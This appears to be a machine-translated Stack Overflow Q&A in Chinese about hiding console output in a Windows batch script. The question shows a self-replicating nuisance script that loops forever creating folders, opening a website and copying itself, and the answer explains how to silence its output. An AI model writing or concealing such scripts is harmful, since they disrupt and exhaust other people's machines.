@echo off在批处理脚本中不起作用

时间:2019-03-26 17:44:59

标签: windows batch-file

我的计算机上有几个批处理脚本,其中许多无害又烦人。不幸的是,@echo off不能在我的计算机上工作。

这是脚本:

@echo off
:top
md %random%
start http://roblox.com
set self=%~n0
REM get own filename
TYPE %self%.bat > %self%%random%%random%.bat
goto top
(it's just extremely annoying and pretty much just makes it to where you have to restart)

通常不会显示cmd。但是,我可以看到命令提示符清除为一天。

1 个答案:

答案 0 :(得分:0)

似乎您想隐藏注释的输出,而不是提示及其本身。可以通过将其STDOUT和STDERR重定向到NUL来完成。

如果从cmd启动批处理文件,请使用以下命令启动它:

(batch.bat)>NUL 2>&1

,如果您通过双击启动它,则可以创建另一个包含以下内容的批处理文件:

@(batch.bat)>NUL 2>&1

或在您的批处理文件中,以(不推荐)开头:

@echo off
setlocal EnableDelayedExpansion

(
content
of
your
batch
file
)>NUL 2>&1

但是请注意,您应该使用!var!而不是%var%访问变量,这就是为什么我不建议这样做的原因。